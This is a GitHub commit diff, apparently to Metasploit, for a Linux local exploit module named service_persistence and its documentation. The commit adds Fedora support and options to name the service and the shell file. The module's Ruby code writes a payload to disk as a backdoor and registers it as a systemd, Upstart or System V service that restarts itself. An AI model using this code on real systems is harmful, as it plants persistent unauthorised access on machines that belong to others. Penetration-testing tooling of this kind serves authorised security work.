Skip to content

Commit 1c20122

Browse files
author
h00die
committed
fedora compatibility, added naming options
1 parent bc293e2 commit 1c20122

File tree

2 files changed

+23
-8
lines changed

2 files changed

+23
-8
lines changed

documentation/modules/exploit/linux/local/service_persistence.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
2. Ubuntu 14.04 (Upstart)
77
3. Ubuntu 16.04 (systemd)
88
4. Centos 5 (System V)
9+
5. Fedora 18 (systemd)
10+
6. Fedora 20 (systemd)
911

1012
## Verification Steps
1113

@@ -40,6 +42,14 @@
4042

4143
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
4244

45+
**SERVICE**
46+
47+
The name of the service to create. If not chosen, a 7 character random one is created.
48+
49+
**SHELL_NAME**
50+
51+
The name of the file to write with our shell. If not chosen, a 5 character random one is created.
52+
4353
## Scenarios
4454

4555
### System V (Centos 5 - root - chkconfig)

modules/exploits/linux/local/service_persistence.rb

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,12 @@ def initialize(info = {})
2929
Ubuntu <= 9.04
3030
Upstart:
3131
CentOS 6
32+
Fedora >= 9, < 15
3233
Ubuntu >= 9.10, <= 14.10
3334
systemd:
3435
CentOS 7
35-
Debian >=7, <=8
36+
Debian >= 7, <=8
37+
Fedora >= 15
3638
Ubuntu >= 15.04
3739
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
3840
),
@@ -73,7 +75,9 @@ def initialize(info = {})
7375

7476
register_options(
7577
[
76-
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin'])
78+
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']),
79+
OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),
80+
OptString.new('SERVICE', [false, 'Name of service to create'])
7781
], self.class
7882
)
7983
end
@@ -115,7 +119,8 @@ def service_system_exists?(command)
115119
end
116120

117121
def write_shell(path)
118-
backdoor = "#{path}/#{Rex::Text.rand_text_alpha(5)}"
122+
file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)
123+
backdoor = "#{path}/#{file_name}"
119124
vprint_status("Writing backdoor to #{backdoor}")
120125
write_file(backdoor, payload.encoded)
121126
cmd_exec("chmod 711 #{backdoor}")
@@ -126,8 +131,8 @@ def systemd(backdoor_path, backdoor_file)
126131
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
127132
script = "[Unit]\n"
128133
script << "Description=Start daemon at boot time\n"
129-
script << "After=networking.service\n"
130-
script << "Requires=networking.service\n"
134+
script << "After=\n"
135+
script << "Requires=\n"
131136
script << "[Service]\n"
132137
script << "RestartSec=10s\n"
133138
script << "Restart=always\n"
@@ -136,7 +141,7 @@ def systemd(backdoor_path, backdoor_file)
136141
script << "[Install]\n"
137142
script << "WantedBy=multi-user.target\n"
138143

139-
service_filename = Rex::Text.rand_text_alpha(7)
144+
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
140145
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
141146
write_file("/lib/systemd/system/#{service_filename}.service", script)
142147
vprint_status('Enabling service')
@@ -159,7 +164,7 @@ def upstart(backdoor_path, backdoor_file, runlevel)
159164
script << "respawn\n"
160165
script << "respawn limit unlimited\n"
161166

162-
service_filename = Rex::Text.rand_text_alpha(7)
167+
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
163168
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
164169
write_file("/etc/init/#{service_filename}.conf", script)
165170
vprint_status('Starting service')
@@ -263,7 +268,7 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
263268
script << "esac\n"
264269
script << "exit 0\n"
265270

266-
service_filename = Rex::Text.rand_text_alpha(7)
271+
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
267272
vprint_status("Writing service: /etc/init.d/#{service_filename}")
268273
write_file("/etc/init.d/#{service_filename}", script)
269274
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")

0 commit comments

Comments
 (0)